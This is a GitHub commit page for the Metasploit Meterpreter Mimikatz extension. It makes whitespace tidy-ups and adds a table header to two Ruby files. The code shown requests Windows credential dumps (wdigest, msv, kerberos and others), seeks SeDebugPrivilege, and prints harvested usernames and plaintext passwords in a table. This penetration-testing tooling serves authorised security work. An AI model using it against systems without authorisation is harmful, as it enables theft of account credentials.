Skip to content

Commit cec737d

Browse files
committed
tidy and table header
1 parent b219a23 commit cec737d

File tree

2 files changed

+74
-74
lines changed

2 files changed

+74
-74
lines changed

lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 30 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -32,50 +32,50 @@ def initialize(client)
3232
},
3333
])
3434
end
35-
35+
3636
def mimikatz_send_request(method)
37-
request = Packet.create_request(method)
38-
response = client.send_request(request)
39-
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
40-
41-
details = CSV.parse(result)
42-
accounts = []
43-
details.each do |acc|
44-
account = {
45-
:authid => acc[0],
46-
:package => acc[1],
47-
:user => acc[2],
48-
:domain => acc[3],
49-
:password => acc[4]
50-
}
51-
accounts << account
52-
end
53-
return accounts
37+
request = Packet.create_request(method)
38+
response = client.send_request(request)
39+
result = Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
40+
41+
details = CSV.parse(result)
42+
accounts = []
43+
details.each do |acc|
44+
account = {
45+
:authid => acc[0],
46+
:package => acc[1],
47+
:user => acc[2],
48+
:domain => acc[3],
49+
:password => acc[4]
50+
}
51+
accounts << account
52+
end
53+
return accounts
5454
end
5555

5656
def wdigest
5757
mimikatz_send_request('mimikatz_wdigest')
5858
end
59-
59+
6060
def msv
6161
mimikatz_send_request('mimikatz_msv1_0')
6262
end
6363

64-
def livessp
64+
def livessp
6565
mimikatz_send_request('mimikatz_livessp')
66-
end
66+
end
6767

68-
def ssp
69-
mimikatz_send_request('mimikatz_ssp')
70-
end
68+
def ssp
69+
mimikatz_send_request('mimikatz_ssp')
70+
end
7171

72-
def tspkg
73-
mimikatz_send_request('mimikatz_tspkg')
74-
end
72+
def tspkg
73+
mimikatz_send_request('mimikatz_tspkg')
74+
end
7575

76-
def kerberos
77-
mimikatz_send_request('mimikatz_kerberos')
78-
end
76+
def kerberos
77+
mimikatz_send_request('mimikatz_kerberos')
78+
end
7979
end
8080

8181
end; end; end; end; end

lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb

Lines changed: 44 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -40,27 +40,28 @@ def commands
4040

4141
def mimikatz_request(provider, method)
4242
get_privs
43-
print_status("Retrieving #{provider} credentials")
44-
accounts = method.call
45-
46-
table = Rex::Ui::Text::Table.new(
47-
'Indent' => 0,
48-
'SortIndex' => 4,
49-
'Columns' =>
50-
[
51-
'AuthID', 'Package', 'Domain', 'User', 'Password'
52-
]
53-
)
54-
55-
accounts.each do |acc|
56-
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
57-
end
58-
59-
table.print
60-
61-
return true
43+
print_status("Retrieving #{provider} credentials")
44+
accounts = method.call
45+
46+
table = Rex::Ui::Text::Table.new(
47+
'Header' => "#{provider} credentials",
48+
'Indent' => 0,
49+
'SortIndex' => 4,
50+
'Columns' =>
51+
[
52+
'AuthID', 'Package', 'Domain', 'User', 'Password'
53+
]
54+
)
55+
56+
accounts.each do |acc|
57+
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
58+
end
59+
60+
table.print
61+
62+
return true
6263
end
63-
64+
6465
def cmd_wdigest(*args)
6566
method = Proc.new { client.mimikatz.wdigest }
6667
mimikatz_request("wdigest", method)
@@ -71,36 +72,36 @@ def cmd_msv(*args)
7172
mimikatz_request("msv", method)
7273
end
7374

74-
def cmd_livessp(*args)
75-
method = Proc.new { client.mimikatz.livessp }
76-
mimikatz_request("livessp", method)
77-
end
75+
def cmd_livessp(*args)
76+
method = Proc.new { client.mimikatz.livessp }
77+
mimikatz_request("livessp", method)
78+
end
7879

79-
def cmd_ssp(*args)
80-
method = Proc.new { client.mimikatz.ssp }
81-
mimikatz_request("ssp", method)
80+
def cmd_ssp(*args)
81+
method = Proc.new { client.mimikatz.ssp }
82+
mimikatz_request("ssp", method)
8283
end
8384

84-
def cmd_tspkg(*args)
85-
method = Proc.new { client.mimikatz.tspkg }
86-
mimikatz_request("tspkg", method)
87-
end
85+
def cmd_tspkg(*args)
86+
method = Proc.new { client.mimikatz.tspkg }
87+
mimikatz_request("tspkg", method)
88+
end
89+
90+
def cmd_kerberos(*args)
91+
method = Proc.new { client.mimikatz.kerberos }
92+
mimikatz_request("kerberos", method)
93+
end
8894

89-
def cmd_kerberos(*args)
90-
method = Proc.new { client.mimikatz.kerberos }
91-
mimikatz_request("kerberos", method)
92-
end
93-
9495
def get_privs
95-
unless system_check
96-
print_status("Attempting to getprivs")
97-
privs = client.sys.config.getprivs
98-
unless privs.include? "SeDebugPrivilege"
99-
print_warning("Did not get SeDebugPrivilege")
96+
unless system_check
97+
print_status("Attempting to getprivs")
98+
privs = client.sys.config.getprivs
99+
unless privs.include? "SeDebugPrivilege"
100+
print_warning("Did not get SeDebugPrivilege")
100101
else
101102
print_good("Got SeDebugPrivilege")
102-
end
103-
else
103+
end
104+
else
104105
print_good("Running as SYSTEM")
105106
end
106107
end
@@ -120,7 +121,6 @@ def system_check
120121
def name
121122
"Mimikatz"
122123
end
123-
124124
end
125125

126126
end

0 commit comments

Comments
 (0)